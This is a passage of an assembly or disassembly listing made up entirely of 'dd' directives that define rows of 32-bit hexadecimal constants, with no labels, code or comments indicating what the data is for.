		dd 4C2437D9h, 18EFF2A5h, 5DCEDAB6h, 8FF60844h, 911964B2h
		dd 0FEACC427h, 0A1DA9F5Bh, 522A55BFh, 0F34ED0C5h, 0E691DEEDh
		dd 66CFA82Fh, 0B5F603D7h, 18E7D991h, 38A62D67h,	39D08835h
		dd 298A7C70h, 0C7157A6h, 1C854A88h, 31A78E69h, 611C8583h
		dd 2F848080h, 0B0D608h,	0AEE5D20Fh, 9076F879h, 4DC0F3FEh
		dd 491B2CF1h, 74EDCC8Bh, 562A345Ch, 0E0A284E1h,	0A5CDB1B0h
		dd 0ACA9BE9Ah, 41C0FF4Bh, 64633A11h, 0C2771015h, 456A4198h
		dd 8AD3BFD2h, 667980EAh, 6FBAEACFh, 5FBD442h, 8453A20Dh
		dd 84554E58h, 6D37C148h, 0DA5503F4h, 0BA4F633Fh, 8E535FEAh
		dd 0DED65D3Ch, 1525EF95h, 0EC965457h, 0F9CCCD8Ah, 4E892F50h
		dd 137299BFh, 3C759430h, 9A409810h, 5E741E53h, 278D7712h
		dd 0F77B0702h, 119189F1h, 0B8399E7Fh, 0B47B1560h, 60800CC3h
		dd 56E9A2F7h, 59AB0CA3h, 0C018B8F5h, 256DF2FDh,	0A1C2F97Fh
		dd 0AAD84BA7h, 62D2B520h, 0DB79DC99h, 2D10E419h, 0B985C3CBh
		dd 4239C8F6h, 0F37B5CBFh, 0A28DE349h, 58FA508Eh, 5D0E5F6Bh
		dd 8E0D605Fh, 0FC45A676h, 9664C0E5h, 49D39358h,	9D07CF17h
		dd 2D0BDBD6h, 84F22FD1h, 9053401Fh, 6E674834h, 0B29E52DDh
		dd 80A6887h, 0FFE34E3Bh, 0ED4C9D5Dh, 0C98DFE06h, 5650D560h
		dd 1EBE5108h, 0A24C78C9h, 0DF2743DDh, 0A40876h,	67B5B03Ah
		dd 0C58F1F6Ch, 2495B589h, 0F0DFDFC8h, 0D479D7D3h, 0BB1FFD19h
		dd 7EC8D3CBh, 0BB8E25CEh, 0ABE26ABEh, 0EB8220B8h, 920C6BB9h
		dd 0A30DD43Eh, 70CA7846h, 0F487CDE6h, 0A89CD07Fh, 0A75C352Ch
		dd 41BD9C43h, 444E8916h, 0FFE4C77Bh, 7D8A2B47h,	0C7F7E1BFh
		dd 0E73B95FBh, 0D0AEAFBFh, 0B13532B6h, 44FF4924h, 993DEE0Fh
		dd 35BED277h, 6EA9AD0Ch, 6B55194Bh, 0BE4C3AC6h,	0E23FDBCFh
		dd 39540D41h, 0CA7F6C85h, 0C95C6C0h, 9279595Fh,	92CCB3ADh
		dd 0BA400053h, 67556B87h, 37EB890Dh, 0EBC85861h, 0AD77B2F7h
		dd 0FE9E14B7h, 4F630E35h, 85FD99B3h, 75479854h,	88FC53FDh
		dd 6C0CEB62h, 977A4EAh,	0B52B5F08h, 6EBE5764h, 30036567h
		dd 0D81FB953h, 0CDE54DF8h, 0D81CDD55h, 73E35F50h, 8FCF8625h
		dd 0A588C5F7h, 7B1025B7h, 6A2A0428h, 54D9EE95h,	5B692A20h
		dd 42C17E58h, 2C976CFCh, 0A37B7F09h, 62277BCAh,	49B86D2Eh
		dd 67684FE1h, 2C8733B3h, 999A2311h, 320FFA49h, 0D9C08E91h
		dd 6D26F819h, 6AB18D68h, 789A0D26h, 38F7BDFFh, 9F21CA70h
		dd 3341B38Eh, 0BE10D5D4h, 429EC9Ch, 44B1068Ch, 5A41EB41h
		dd 6BAD3881h, 493CEB3Dh
		dd 81C6957Ch, 46B77E8Bh, 0EED2FB32h, 0CBE4A4EDh, 1CB5EF52h
		dd 0BC345C98h, 55A387E5h, 0AC7F86D0h, 7CD8A8D4h, 0A68C01AEh
		dd 0FB7E4E76h, 51BD70A9h, 0B1B53D94h, 35A9772Dh, 0B17DF238h
		dd 0A8EF24C1h, 0D506A7F0h, 97608CDBh, 2002FEF0h, 0B7A94CF9h
		dd 5FAD4397h, 0E0CFE493h, 2BE60F54h, 0FBB9DDCBh, 11D6974Dh
		dd 0E6AB12A9h, 0B7393A9Fh, 0D079D9E2h, 89AB74D5h, 1D7ACDA8h
		dd 0CFF24E3Dh, 774D6AD4h, 0EC06E2Ch, 6D3583ADh,	8159578Dh
		dd 3A9255E7h, 16B26667h, 0C4195708h, 544589C5h,	1596F11Dh
		dd 44FA20F0h, 0E331143Ch, 0A6138A8Bh, 0FE3A1C9Ch, 1694AC0Ch
		dd 6312250Ah, 2304D474h, 159DC16Ch, 0E8D3462Fh,	7DEB83EEh
		dd 3AE1CB1Eh, 0D0CC2014h, 91C5CBD7h, 0AA8EDE4Bh, 766AAB53h
		dd 1F0F24CBh, 9CC2AABCh, 0CD7EADA5h, 67B7F726h,	4AE310C1h
		dd 857C29F6h, 0A226E372h, 0EC3E180Ch, 87A8F7Dh,	72BDCCCAh
		dd 2AB54C3Fh, 0CA3F5451h, 1A225B9Ch, 0EC53E978h, 43815227h
		dd 0FC838E12h, 4A607C8Eh, 0DB046883h, 0D286D44Eh, 1EAD6544h
		dd 5484B4A6h, 59255C1Bh, 28A697B6h, 0D627D97Ch,	8B820285h
		dd 3C21C6B2h, 1F03550Ah, 5AF8473Eh, 130FED66h, 203C8276h
		dd 3A1E3570h, 0D7C1DF96h, 0EF275F84h, 0F3BBAF57h, 0F92681D8h
		dd 0F68CDC73h, 51259A51h, 5FB3AC22h, 7C89F23Bh,	59D46B5Eh
		dd 48B89F7Bh, 58B11DD9h, 6A889DF6h, 99433FB2h, 1323CEB2h
		dd 90C5A205h, 5A2709D1h, 0D6ED3997h, 656DD5D1h,	202900F9h
		dd 9420BF3Ch, 0F9CDDC8Eh, 0F181C115h, 3AFD5296h, 8FEB3F79h
		dd 640014EBh, 26D75F73h, 0C55A7D03h, 2A3DEF21h,	62C4D029h
		dd 19936828h, 4EACCB41h, 2E03FEDDh, 0D0F69D5Fh,	4E62BC1Ah
		dd 822A2BB5h, 6C86CDE9h, 0ACCC906Bh, 0D88F0E41h, 70A5DACDh
		dd 0F4125837h, 3AF157EEh, 0CAF8CD2Eh, 549A4629h, 68780EE0h
		dd 3B404755h, 2103481Ah, 3AE3CD3Bh, 0BFEC4B52h,	2D491156h
		dd 4570E5C4h, 5BBABACFh, 0F815B911h, 0D64BEED2h, 0E2A297F3h
		dd 80891C78h, 60060585h, 71F8C919h, 517A5044h, 5DC4C9B5h
		dd 31226DC8h, 21058258h, 0B86D22C1h, 59C3775Ch,	61570A08h
		dd 0B4991614h, 0CB1F892Ah, 15E73975h, 0C23A9DCEh, 0C821F848h
		dd 0BC41D322h, 95E6DB7Ch, 779FF581h, 7433AFA6h,	0C9DAF7F0h
		dd 0B140C3EBh, 0D72A223Fh, 0B3746FCCh, 0BBFBC938h, 0EBEBD9F0h
		dd 0FB55F9D9h, 0F9553BE1h, 266F2557h, 0C59AA93Ah, 1A78083Dh
		dd 0F6B237DCh, 7531522h, 0A1448BA2h, 298C7AF4h,	49EBECBAh
		dd 172E51Ch, 3A7D4D23h,	29833B6Fh, 7DE4DD18h, 7CD2AEF1h
		dd 0FF30D166h, 0E67C01FCh, 3D22AAh, 176649C9h, 417AB61Fh
		dd 72885387h, 190FD1A6h, 291D13CBh, 161AB9C8h, 6D774028h
		dd 409D8678h, 407F0F83h, 0CC0CDE2Dh, 1A77B50Bh,	201F970h
		dd 9458DBF3h, 0FC4AF036h, 0C737A4CEh, 6E501965h, 8D7826C3h
		dd 0CEFD6015h, 0F9AC85ABh, 9BBA82C1h, 0A53EF079h, 0B1BC19A7h
		dd 0C886526Bh, 5D44DA05h, 0D83E26Bh, 111A5264h,	0EFF665CBh
		dd 39FA676Eh, 0B27D46F0h, 21E999EDh, 7FDDFE21h,	0D4AD4AF3h
		dd 48383287h, 0D8273D30h, 60CB93EEh, 2DCAA2AEh,	365901CEh
		dd 86AE462Eh, 11AEF9BDh, 97FBB215h, 57141059h, 0EF883C7Dh
		dd 67888E3Dh, 0FA09A98Ah, 561FC326h, 265CBFB3h,	0EC81A9C6h
		dd 0E682977Bh, 42C14CAh, 0B598E543h, 58DC8BD9h,	1CB41323h
		dd 5066719Eh, 0DDC65CBDh, 0A0BDEDEAh, 477DB1F7h, 82C6A52Eh
		dd 38F158A8h, 0B42C4CD9h, 0D7A02B08h, 3ADF4436h, 5DD895E1h
		dd 34D7018Dh, 0B91C1E82h, 5B8CBEF5h, 47235B78h,	0A781C5D7h
		dd 5418B0B6h, 872E3859h, 50FAE469h, 2731DD61h, 5125DFB1h
		dd 0AAD7607Fh, 9F627AF2h, 0DDE9B1A4h, 0C78172AAh, 0A425E02Ah
		dd 0F9E469F4h, 0D0587C07h, 80AC5DD6h, 0C1071749h, 9E2EBFABh
		dd 4F4154E1h, 71E53C65h, 5C4A8747h, 76A5456Eh, 0A12FBE90h
		dd 0A4873DA8h, 21860821h, 19B7C0F7h, 2BC28610h,	5773D529h
		dd 979634Ch, 1C1469A4h,	9EC5A88Fh, 8A55FA78h, 3EA82EAFh
		dd 878A69A8h, 0A6919D7Bh, 0A416F3C5h, 0B5AE9BB9h, 0C45558C5h
		dd 0BCA305F1h, 891CEA97h, 0E332386Eh, 759FEE40h, 69899BBDh
		dd 7D1B7F94h, 0D52B5BDBh, 0F4E15763h, 6B48090Fh, 0A0959C10h
		dd 8AD032D8h, 55F36471h, 1E686144h, 7692B052h, 598C2686h
		dd 4FF94108h, 0AD6E7FBEh, 0E925BCB5h, 3626D8EEh, 28CBFE5Bh
		dd 727AE1F6h, 0FA9C1ABDh, 6DE23931h, 4935769Bh,	908D08A8h
		dd 7A615D85h, 451B3A49h, 2C5FE4BAh, 3DE316F5h, 817BEDFAh
		dd 0E39C72EAh, 2CA44CF0h, 88E973E1h, 97D81460h,	0ECC12E00h
		dd 5D57BA7Bh, 7B79622Dh, 0C8A0A072h, 0AE4DFBBDh, 327B02B2h
		dd 0BCFAC67Bh, 4791CF43h, 8280ED61h, 37065A07h,	0F5E778Fh
		dd 0A3421B7Ah, 0B3AF69Ah, 978A8104h, 88BC7AE3h,	84FE9E08h
		dd 0C21D2421h, 0F4925FBCh, 0A854E9C6h, 6E4B1E9Ah, 35B19117h
		dd 0A7DDAC96h, 0A9E64E62h, 1BE2CB72h, 0A26BD709h, 0DCEF2455h
		dd 0FE24DB9Dh, 3968F270h, 0C7666F61h, 986BEA65h, 0C06B377Ah
		dd 4F7BDAB8h, 269FECF5h, 0C0784698h, 4224A4E2h,	8C4B301Dh
		dd 21B0D03Ah, 30E1093Eh, 8FC4581Fh, 0E3C9AE11h,	35F6702Ah
		dd 2E716DFh, 9FED7EB4h,	0AFBD5887h, 0BAE430A7h,	0F28A74CDh
		dd 0DFD633Ch, 9FD7024Dh, 8F660AD4h, 0A08A9FE3h,	0D4433539h
		dd 0C5081A58h, 640D50Dh, 94B4848Eh, 63D96A0Eh, 3514A918h
		dd 0C4F57D88h, 5D037AB2h, 896A06D7h, 0DEA5F091h, 7E7488E9h
		dd 5A8E6587h, 0F6F89761h, 67DE9889h, 9042BE35h,	5DFEFFD8h
		dd 0C927BF2Ah, 212F6D7Fh, 0B70FDB7Ch, 3DD5D95Eh, 175EA879h
		dd 3A8537F0h, 861B748Fh, 85B6271Fh, 0FF8A6BB8h,	481DD37Ch
		dd 46156F31h, 262FCA1Bh, 0FBE6C3AAh, 2A72F41Dh,	290AAFDFh
		dd 8D893B72h, 53BDB174h, 0C67405B3h, 68BF67A9h,	4261E691h
		dd 0A74DDB95h, 479FDE9Ch, 85A6FE19h, 0E9AF093Bh, 1162D103h
		dd 7FBC90E6h, 0FC50D8CAh, 0C98511C1h, 156532Ch,	0E3B7E9A0h
		dd 0E1C579h, 841F781Fh,	8BAF56D1h, 29D3DA7Eh, 1F1CBFEAh
		dd 38D41126h, 0AF39D48Dh, 87C60314h, 5FBE772h, 0FFBC0556h
		dd 81903771h, 0B8763E04h, 91802969h, 5C792369h,	0DBD4245Ah
		dd 0B5C443FFh, 0CF749022h, 3BF2CBFBh, 3D9063A9h, 0AA149C01h
		dd 1D69CCB2h, 0FB2DE841h, 0CD4EB7F1h, 24BCBADDh, 0FE98CE88h
		dd 19115BDFh, 7FCABEB0h, 0B329D822h, 6D7B3EE7h,	7EE08E59h
		dd 0CEAE6E1Fh, 0EDEC5415h, 761D8DB5h, 0F37DD1EDh, 9649ED73h
		dd 6D9EA5E0h, 35FFE2D2h, 695C66A1h, 0FB8BCCAAh,	0FB4E73Dh
		dd 0CC83C860h, 849686B0h, 29E432AFh, 0F4ED7311h, 5C6468EEh
		dd 51F91BA1h, 8AD2FE43h, 4BCA4461h, 7CB00A8Eh, 88BDF78Dh
		dd 235DD82Dh, 0B4AA37A8h, 3B93A1E5h, 5DF15FAFh,	99117928h
		dd 2AC89895h, 0A3B3333Bh, 9406FDF1h, 0AC8FBBBh,	6E586050h
		dd 0F035CE05h, 0C66591E9h, 0C80D4462h, 623EE514h, 9A33601Ah
		dd 91B1C0AAh, 5C6AD409h, 0FAEB0061h, 7A2482C7h,	0A2AD14CCh
		dd 0B424C648h, 0EB803ADh, 0AC56BD03h, 68B0E77Fh, 0F0AE006Eh
		dd 39A22BE5h, 0BEA521B7h, 6320BF00h, 6A19C9A2h,	0C0CAEACBh
		dd 0E2E5992Eh, 6A38C0A1h, 0B769308Dh, 4BF2C277h, 0D9CD6D47h
		dd 39842058h, 0FE88932Dh, 92274BE9h, 0A8C2996Eh, 0A2E70441h
		dd 0DAD6D326h, 0DDCDC6FCh, 61B77376h, 0B91AA92Eh, 36AEE44Bh
		dd 3385BB0Ah, 4CF669BBh
		dd 61253124h, 0FD2D3713h, 4ED484C6h, 918365F1h,	6CBCE949h
		dd 268A39C4h, 308FDB54h, 0EF220861h, 81A6E5B8h,	0A32BCFA5h
		dd 0A59F11CDh, 51BCE724h, 8A67F8E3h, 10143588h,	0E70BC392h
		dd 2C075F45h, 0D3F05D98h, 1EE0C799h, 5E84267Eh,	55E410E4h
		dd 8B883A98h, 0A3E486F9h, 0DC321161h, 77A2175h,	4453E038h
		dd 0FA4BF6B2h, 0F444D4E1h, 0D42550B5h, 40768C55h, 0ACA1F314h
		dd 39E723B0h, 0C7F674EBh, 73F38AB0h, 0CBDEC7D1h, 15739769h
		dd 0F25DD559h, 766717Fh, 0D5780197h, 0FBDC2139h, 2D736830h
		dd 0C8AAA46Fh, 515F6297h, 42F67B65h, 82F0D777h,	0AE2EF52Eh
		dd 42EAD75Ah, 7F0DA277h, 58020D09h, 0D245700Eh,	8F2D0C87h
		dd 3C088FFAh, 0C1190CA0h, 0CDAA17B2h, 11205402h, 5738457Dh
		dd 57312DD1h, 45719136h, 87AFB8D6h, 616CC75Fh, 0B813F813h
		dd 0A8CD30CEh, 0D152B44Ch, 5AD1DF7h, 4616F445h,	8A9E938h
		dd 0BE959AB3h, 0BF184AB7h, 95BEC648h, 497AD5B7h, 0B2102A6Ch
		dd 0D63DC7FBh, 521FCED0h, 0E283A4CBh, 51E8BB2Ah, 3E1E9C7Ch
		dd 22ACD42Dh, 0F0A93DC7h, 0CB2A5A03h, 0BA1AA43Dh, 0C5967655h
		dd 3BA0812h, 22259CB2h,	5695E8A9h, 0CEA31786h, 0EAD28CD2h
		dd 0CD05328Ch, 4B731B22h, 0A0BE7A09h, 61738B87h, 0DF7ECC37h
		dd 82B25C80h, 0B45C4AC2h, 0D438283Eh, 84DBF6FBh, 61A03863h
		dd 0E0C3940Ah, 290E6F5Fh, 2CB70D2h, 6D97EF9Dh, 98A7B7D8h
		dd 40324125h, 0C3912AC6h, 0F0D67A30h, 479E490Ch, 0DF0C08A9h
		dd 1D3ACF27h, 0B55C702Ah, 9FA4128Eh, 0A85EFBE9h, 0B1E77017h
		dd 6F3A82A7h, 7C3FC822h, 6BD370ABh, 60286B09h, 8B585503h
		dd 3D279B54h, 2D565B5Ch, 50FE64CEh, 81DB841Ch, 0DA619F1Bh
		dd 6A428DADh, 49674E8Eh, 0DC27D759h, 1C1EDE3Ch,	0F569E8C3h
		dd 38D5ABDCh, 94EE1C9Dh, 0FBAEF9A6h, 638A4E21h,	0CA95007Ch
		dd 95FF8C14h, 0FAF1AE6Dh, 45FF45BDh, 0B630E736h, 67C3965Fh
		dd 55A845C5h, 0E5417BDDh, 9005D3E8h, 0AE649A97h, 369880FFh
		dd 0FB814209h, 371B69A9h, 3FECC52Bh, 4F188988h,	0C0C5DCB6h
		dd 0A9C372D2h, 2CE24323h, 77718992h, 0DD9F4180h, 407AFA40h
		dd 41F275D7h, 0D2AE17A2h, 381052E9h, 7E003845h,	3FC24062h
		dd 2E1034C2h, 6D325206h, 114181C8h, 9A4456D6h, 1AFEAC5Ch
		dd 0ECA36CD6h, 84F0FF1Bh, 59D231BFh, 54DD063h, 3B1FDECh
		dd 0D8C04861h, 4CAB421Ch, 707B4322h, 47B8B0E7h,	9ED362DAh
		dd 33EEB284h, 71E6961Ah, 91C08A2Ah, 0CBB90061h,	903B3695h
		dd 0BA388B55h, 0A4478548h, 5F479A5Ah, 4AF4ACDAh, 7B4979F4h
		dd 0D1EA3AECh, 0FBA02C4Bh, 0CA364F99h, 7CAFDF77h, 9C586FFCh
		dd 77FE9B99h, 73731F67h, 0CB2D8E51h, 0A5847E7Eh, 25722ECh
		dd 0C68821ADh, 0AC4ABFEEh, 359B2C23h, 71138250h, 8521832Bh
		dd 59101249h, 0FC059855h, 0A3F9402Bh, 4D79AFA2h, 66EA0AC1h
		dd 0CBFEAEAAh, 0EB435AAFh, 3440CE03h, 0AF347EF7h, 6ACD7DACh
		dd 0F045F7AFh, 7A7CAE2Eh, 72C20335h, 6A9C96D4h,	0A34A41Ah
		dd 56CC2472h, 0BA4F26C5h, 651068D1h, 2F78B82Dh,	9796A6EAh
		dd 1CAC1FBDh, 0C33C1FACh, 0F3CA22DBh, 0EBA20FDFh, 95F7E7FFh
		dd 0F2B059C6h, 0F3257095h, 1038F29Dh, 6C544B27h, 4333A008h
		dd 0EB5DBE89h, 6CD9D0BBh, 6E5A7D77h, 0CC719894h, 0BB5C340Ch
		dd 8C9FF929h, 20C52512h, 0DF067BE9h, 0D37BDD10h, 0BDEB9DB9h
		dd 0E33BD80Ch, 926A9E1Bh, 124D1F6Eh, 0CD882AB8h, 0B9EDACCEh
		dd 4DC44060h, 0D43441A0h, 6179D59Fh, 0CC4A5717h, 23932813h
		dd 1AC1B47Dh, 0D272C633h, 0D0B9A5FAh, 0EF1CD6E2h, 0F4E63EDCh
		dd 3020BCDh, 0A4AEF30Fh, 29FB79D5h, 0A677752Eh,	0F672CEA0h
		dd 0EEA46D0h, 6F63D848h, 0D4AC8FC8h, 0EB1981Bh,	1BDCF196h
		dd 88D67650h, 0E1866F1Ah, 0D972BCECh, 833554CCh, 3867CCC3h
		dd 4A1EBE63h, 0D20CED0Ah, 0A671B1C6h, 0C67A5EE0h, 0CDC2D772h
		dd 856E0025h, 9CFD0871h, 0CB663BB5h, 7DE654D6h,	172B582Eh
		dd 5E6B9BA5h, 0C88D1175h, 9BC3E4C6h, 58C3D0A8h,	1B75251Eh
		dd 0BF530065h, 0FC657203h, 683AAB64h, 9B461238h, 8DBF8E56h
		dd 4D51F4C1h, 68499F0h,	0CAC4E806h, 75BD19ACh, 0BDC28DF6h
		dd 0C1308A75h, 0A9C0C2F4h, 0C0DDEDDEh, 1525D776h, 0FC1752ABh
		dd 1AE1D56Ch, 0BAF6AFFBh, 0C080C51Bh, 718B4A33h, 0AF8182Ah
		dd 42A5E08Bh, 997285DAh, 0A177BA06h, 7611D3E1h,	398310E5h
		dd 2BE8DC8Bh, 2FFA3021h, 5804C220h, 548AAEEFh, 0AE3F45CDh
		dd 74245627h, 3C0951CAh, 6809CFF0h, 0BA346C84h,	4D6E839Dh
		dd 0AD296DAh, 89DFDC82h, 0F61E59D0h, 42A473CFh,	0D468BAB6h
		dd 0C2B0263Eh, 8B89FB81h, 27BBA524h, 3EBB4CF5h,	0FB9CE858h
		dd 4808BE0h, 0C1449B66h, 73EEA2B7h, 0FC0FB2FEh,	2A7D480Fh
		dd 1EEBE560h, 0AD09780h, 117EAC86h, 9B251198h, 9C8A851h
		dd 2ABFF2BAh, 4855B3A9h, 0D673C7CDh, 6284089Ah,	55D4A167h
		dd 1AAC72Fh, 8EFA059Fh,	0D4875C64h, 0A5C81ECCh,	76D87772h
		dd 0C9323BEBh, 0C765C4AFh, 0E3DF7F96h, 6EE9F862h, 0D17EBE73h
		dd 0E8533E3Bh, 4558CA19h, 1685C4FCh, 0D5EFE9C2h, 54BECDB4h
		dd 0DF416550h, 1770C1C6h, 0C3D58015h, 0AD4EDDE7h, 97F1DB2Ah
		dd 2B40169Fh, 7FFE15AAh, 0F66F8DE2h, 0D7607736h, 7BB70154h
		dd 9B7E0EA5h, 410D7B4Ch, 123EED5Ch, 8E4D667Ah, 0DCBF744Ah
		dd 0EDEB1E62h, 46C80CDAh, 0CB47D038h, 9289D5DEh, 0E94367D7h
		dd 5BFE639Eh, 0ECD69B03h, 0B9F35379h, 0A8242609h, 39C0E3CCh
		dd 0C5B87FB5h, 0AFA68773h, 0B108515Dh, 2A0190D2h, 93DB6A9Ah
		dd 0FAFFEAD9h, 1F6F734Eh, 0C0A7EE8Dh, 7305A37Ch, 0C18006A2h
		dd 25754E2h, 0D11272B4h, 2F3C023Ah, 2EB543A5h, 8E285562h
		dd 95200AF4h, 9CDD3657h, 94932F9Bh, 2FA1BC85h, 4BF6546Dh
		dd 0A29B8743h, 0E35E60F5h, 0DA708CD8h, 6B2A1764h, 8B3455A0h
		dd 6E6906A0h, 7255352h,	9DF7E620h, 0DD7051C5h, 61ADF4C9h
		dd 810E48A4h, 2EFD1B65h, 10B04E64h, 0E60A31EDh,	91DDF9F3h
		dd 3D098371h, 2D54ED66h, 5E298F2Bh, 0BB1E220h, 18F62DA0h
		dd 0EE65AECDh, 9FC6E06Fh, 6BED950Eh, 11EE3D20h,	0AB9614C1h
		dd 0BB5969Eh, 0B7D033E5h, 0F12C7949h, 6634974Dh, 0E2CBBD0Eh
		dd 5F3D3DDCh, 74D2DB3h,	946FE6A9h, 0CEDB172Dh, 0C8A300C4h
		dd 0A86A5AE2h, 9747E25Eh, 9FFEC59Ah, 82800372h,	0AA1DFA03h
		dd 0A1C0FC2Eh, 0AB3B2F1Fh, 143AE6D4h, 0B8C34339h, 3D9AFBDFh
		dd 2D066E02h, 0FFD1139Eh, 217A0EADh, 36FD7CB4h,	0F514DD1Fh
		dd 0AE7EF192h, 0DA9F434Ch, 217F3251h, 0D7E0F4BEh, 1AA1385Fh
		dd 0CAB7A5B5h, 609A4B83h, 7D881E1Eh, 0F746D58Dh, 0FECD4FE4h
		dd 0B8F79CDDh, 651F9EBBh, 2DCD22DFh, 0F15724A8h, 3B5CE94Bh
		dd 97503096h, 0E1EDE07Dh, 8523893Dh, 94AD2304h,	0C0A95BCBh
		dd 7AE96308h, 0A8C13C27h, 0C9A27229h, 6D323C2h,	0CDA458CDh
		dd 0C1D2F42Eh, 0C870EEAh, 396E4C1Eh, 370DB367h,	2C1632A0h
		dd 1DCF6BAEh, 9445EE5h,	92EC8003h, 0A5A26FE4h, 4E677666h
		dd 12A90B29h, 7CF27A91h, 827EDED2h, 0C7472E28h,	838A90A7h
		dd 0B7035749h, 194CE4ACh, 690177E0h, 929856D5h,	3C65BBC1h
		dd 999F80EDh, 2BC76913h, 6EAB659Dh, 0BE3D5D0Eh,	1DD1A3Ah
		dd 17DA1EFDh, 490F7BA5h, 6D143C93h, 12C5892Bh, 70DB1520h
		dd 1D24462Dh, 5E220916h, 8169B9EAh, 2CDCCC71h, 554D514Dh
		dd 3C05A560h, 2848895Fh
		dd 0F69B0A96h, 0D9B0B3D6h, 0D7F9AC0Fh, 18F88E05h, 0D073716Ah
		dd 0CF472E0Dh, 2CAF59D2h, 9C409868h, 9730FC88h,	3495841Eh
		dd 0B7DD81F4h, 576DF443h, 3FE5D80Ch, 3FE0CD0Dh,	0C20C3746h
		dd 0B168D4D5h, 0BD850F7Eh, 1252449Eh, 16A9E0C0h, 7EE955FCh
		dd 5EF96D6Ch, 0ACCDC80Dh, 0B2EEDC33h, 48A48C98h, 964866CDh
		dd 0A930B70Fh, 546D08Bh, 79E10DF0h, 38CA8C9Eh, 0E8A803FBh
		dd 63EC4AA1h, 0A9993FECh, 0F69DA461h, 1AE0B861h, 5011A660h
		dd 5E1F553Ch, 6ACB3D01h, 0C5241DD7h, 0A5053D86h, 8ACF06FCh
		dd 0D1C87F12h, 2D45EAC3h, 46FD2AE3h, 0A69C0764h, 74F0866Ah
		dd 5F95041Ch, 4A254631h, 9CECB28Bh, 7F9B643h, 0C6AA009h
		dd 7867D3C3h, 0BD17468Eh, 266A8E73h, 8B7C5C5h, 27FAB104h
		dd 71AEA533h, 0DF614DE3h, 0B853E286h, 398B73E1h, 3795475h
		dd 0A7D5E93Bh, 1320E7EFh, 0D819A6D9h, 7155D145h, 74BD7803h
		dd 2AA4A437h, 19F58DFDh, 8B809F5Bh, 0F0A93872h,	0FE64868h
		dd 627D9BA7h, 0DEBFF68Bh, 59A57A5Dh, 5EF62383h,	0EE886716h
		dd 0DC0D05BDh, 0E88FEE30h, 0DD04DE77h, 59B46C71h, 3ACC9EB2h
		dd 0A2C10423h, 0DBA19CC2h, 7547E157h, 0D0E05A6h, 0E9EDC29Fh
		dd 724696F5h, 2DCCD44Ah, 43FD2823h, 7695580Ah, 23B996E9h
		dd 0D9AD608Bh, 74420E7Ah, 31F0FC1Bh, 2A7D68B0h,	829FF859h
		dd 4D69957Dh, 43F4D0A3h, 0EEAC400h, 0AB98A92Ch,	8AF915FCh
		dd 0F5369B2Ah, 0BA5FAB4Ah, 0D98B30BFh, 0CEED0E3Ah, 8FC27F64h
		dd 0F7391B6Dh, 0D5D93718h, 0AF01A4FAh, 9DB9CC1Dh, 641C068Eh
		dd 0BBB88E29h, 0F482F6ACh, 0EECEE79Dh, 0FA91636h, 962669C9h
		dd 0A8E053CEh, 0D2CA1F8Eh, 358F600Eh, 0E5B4A24Ah, 45FFB8FAh
		dd 23DF2231h, 0EEA5BDF9h, 6F4E0073h, 1944CA05h,	91B90A7Bh
		dd 1F2A56AAh, 394B90A2h, 0E6F6C4DCh, 0C2A7FC9Ch, 0D612ABD4h
		dd 18EF7D3Ah, 0A4ABCB9Bh, 2DE85A5Ch, 2B908DA0h,	557592D7h
		dd 1CAF4CB8h, 0F4B8EA28h, 9BAE10B3h, 0EE13588h,	0DBACCE06h
		dd 5E48183Bh, 985BC290h, 5DD3670Fh, 0C708A106h,	197FD5E5h
		dd 0B8B3424h, 0AC1AD92h, 0F3067BFDh, 8DFA8360h,	2FAA87A3h
		dd 12576781h, 66DB20AAh, 3C5B512Ah, 5AE4230Dh, 0C93BC26Dh
		dd 49EF7D9Dh, 55D72CFh,	7579D736h, 0A2D014ACh, 0A6131E5h
		dd 5BFD31A9h, 0D325F01Eh, 0C1A310D3h, 754212FFh, 0E5FE0E84h
		dd 0BBBD0F0Ah, 1DDF029Ah, 6E9ABC39h, 3B9A091Dh,	0AD2BB523h
		dd 138EF0E3h, 0E3E86231h, 387690EDh, 5B81673Fh,	2FBA49Fh
		dd 2B39D620h, 0A8E48517h, 0EE306710h, 1F307AE9h, 974F9751h
		dd 0BE5F42D3h, 0BC88BA3Bh, 0CE91F16Fh, 73F00E5h, 0F424E176h
		dd 3F403D96h, 952DFB0Fh, 15452FE9h, 688D7D72h, 0AA6F7DFFh
		dd 2B318AC4h, 0A307CEE4h, 6F88A6F6h, 1F561B74h,	74F810FEh
		dd 6A9FCF01h, 0B0E12313h, 0CA632BD8h, 32B52225h, 0DC4AB5F0h
		dd 4844E611h, 0DD270BC5h, 0BDF0D57Fh, 0A0DF6FE6h, 693DC36Fh
		dd 8535F6DFh, 0F3754DE2h, 568A1E0Ch, 9E46586Fh,	4EDA3455h
		dd 2303F502h, 7942B13h,	9108CCBFh, 0E42EBC07h, 0EC686343h
		dd 443BB000h, 1DB5FB5Fh, 646C591Ah, 9B938C3Ch, 675B570Bh
		dd 54A20158h, 72733FF5h, 43AB5319h, 0CD7E1F42h,	0F04295A3h
		dd 3F66BDC2h, 0C81B940Fh, 134E9650h, 8FD05B4Ah,	0F3A3615Fh
		dd 0CA30CD36h, 2C14B909h, 69C84333h, 7DCCDA64h,	24DF60CAh
		dd 31A0F9BCh, 96BB6012h, 3D23727Eh, 147C3F19h, 744F4CC1h
		dd 0D0F20856h, 889EAE46h, 9AFCB9AEh, 0A25A73D7h, 0EB30BCA1h
		dd 61E53B96h, 0F6234C6Ch, 0A159CAF4h, 2F8BEBDDh, 7AAD0CD5h
		dd 0AF88AFA5h, 0FB3FA1B2h, 0AA7FAFE9h, 0A94BF2BEh, 1E1979D9h
		dd 1468D162h, 0D94E7E9h, 0BBE149C2h, 0B984AF25h, 89BF8CD0h
		dd 0B734CD4Ch, 0BABD4Ch, 0EC931849h, 0C4A1E62h,	0AE0BB562h
		dd 1C7BBF94h, 0C7730837h, 70689793h, 63F4C97Fh,	0D776E362h
		dd 8385FA79h, 8CF69E26h, 734F3A48h, 48AAFD3Ch, 664A9796h
		dd 7732E53Dh, 4388E3B4h, 0C8501526h, 0C7A06ACEh, 3808E534h
		dd 0E2753D34h, 3918CBD8h, 0C3115B7Fh, 422685Ch,	97BF46BEh
		dd 7C83F3F8h, 218FF6ABh, 0B14C0095h, 2119A4F4h,	1F8125EDh
		dd 330B021Ch, 1957F2DCh, 7C65E16Bh, 0D2ECEC57h,	31BE6A5h
		dd 7B2DBFE7h, 0B0DCBFF6h, 38F8DBCFh, 18502230h,	0CA1A0BAEh
		dd 3DE24A27h, 1E3CB66Bh, 788D5E9h, 154B34DEh, 2FE5E679h
